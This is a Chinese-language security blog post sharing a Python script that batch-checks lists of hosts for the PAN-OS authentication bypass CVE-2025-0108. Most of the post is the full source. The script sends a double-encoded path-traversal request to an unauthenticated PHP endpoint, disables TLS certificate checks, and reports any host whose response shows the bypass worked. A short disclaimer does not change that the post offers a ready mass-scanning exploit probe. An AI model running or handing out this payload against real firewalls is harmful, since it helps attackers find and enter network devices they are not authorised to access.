Palo Alto Networks PAN-OS 身份验证绕过漏洞批量检测脚本(CVE-2025-0108)

Palo Alto Networks PAN-OS 身份验证绕过漏洞批量检测脚本(CVE-2025-0108)

iSee857 网络安全者 2025-02-15 16:00

===================================
免责声明请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,作者不为此承担任何责任。工具来自网络,安全性自测,如有侵权请联系删除。个人微信:ivu123ivu
0x01 工具介绍
Palo Alto Networks PAN-OS 身份验证绕过漏洞批量检测脚本(CVE-2025-0108)。
0x02 安装与使用
批量检测:

python poc.py -f url.txt

单个检测:

python poc.py -u your-ip

image

image

源码:

import requests
import urllib3
from urllib.parse import urljoin,quote
import argparse
import ssl

ssl._create_default_https_context = ssl._create_unverified_context
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def banner():
    print("\033[36m" + """
    ****************************************************
    *                CVE-2025-0108                     *
    *             PanOs  身份认证绕过漏洞               *
    *                 作者: iSee857                    *
    ****************************************************
    """ + "\033[0m")

def read_file(file_path):
    with open(file_path, 'r') as file:
        urls = file.read().splitlines()
    return urls

def check(url):
    protocols = ['http://', 'https://']
    found_vulnerabilities = False


    for protocol in protocols:
        target_url = urljoin(protocol + url.lstrip('http://').lstrip('https://'), "/")

        target_url.rstrip("/")
        target_url1 = urljoin(target_url, "/unauth/%252e%252e/php/ztp_gate.php/PAN_help/x.css")
        print(target_url)
        headers = {
            "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36"
        }

        try:
            response1 = requests.get(target_url1, verify=False, headers=headers)
            if response1.status_code == 200 and 'Zero Touch Provisioning' in response1.text :              
                print(f"\033[31mFind:{url}:PanOs_CVE-2025-0108_LoginByPass!\033[0m")
                return True
        except Exception as e:
            pass

if __name__ == "__main__":
    banner()
    parser = argparse.ArgumentParser()
    parser.add_argument("-u", "--url", help="URL")
    parser.add_argument("-f", "--txt", help="file")
    args = parser.parse_args()
    url = args.url
    txt = args.txt
    if url:
        check(url)
    elif txt:
        urls = read_file(txt)
        for url in urls:
            check(url)
    else:
        print("help")

·今 日 推 荐
·